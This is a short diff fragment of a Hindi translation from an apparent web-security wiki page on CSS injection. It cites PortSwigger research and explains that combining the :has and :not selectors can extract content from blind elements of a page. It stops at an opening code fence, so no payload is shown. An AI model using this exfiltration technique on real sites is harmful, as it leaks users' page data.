एट्रिब्यूट सेलेक्टर -जैसा कि [**इस पोस्ट में समझाया गया है**](https://portswigger.net/research/blind-css-exfiltration), यह संभव है कि **`:has`** और **`:not`** सेलेक्टर्स को मिलाकर सामग्री की पहचान की जा सके, यहां तक कि ब्लाइंड तत्वों से भी। यह तब बहुत उपयोगी होता है जब आपको यह नहीं पता होता कि CSS injection लोड करने वाले वेब पृष्ठ के अंदर क्या है।\ -यह सेलेक्टर्स का उपयोग करके समान प्रकार के कई ब्लॉकों से जानकारी निकालना भी संभव है जैसे कि: +जैसा कि [**इस पोस्ट में समझाया गया है**](https://portswigger.net/research/blind-css-exfiltration), चयनकर्ताओं **`:has`** और **`:not`** को मिलाकर सामग्री की पहचान करना संभव है, यहां तक कि अंधे तत्वों से भी। यह तब बहुत उपयोगी होता है जब आपको यह नहीं पता होता कि CSS इंजेक्शन लोड करने वाले वेब पृष्ठ के अंदर क्या है।\ +यह चयनकर्ताओं का उपयोग करके समान प्रकार के कई ब्लॉकों से जानकारी निकालना भी संभव है जैसे कि: ```html